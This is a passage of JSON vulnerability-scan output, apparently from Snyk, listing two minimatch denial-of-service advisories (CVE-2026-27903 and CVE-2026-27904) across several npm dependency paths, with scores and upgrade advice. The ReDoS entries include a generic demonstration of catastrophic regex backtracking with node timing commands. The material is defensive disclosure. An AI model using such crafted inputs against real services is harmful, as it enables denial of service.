"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 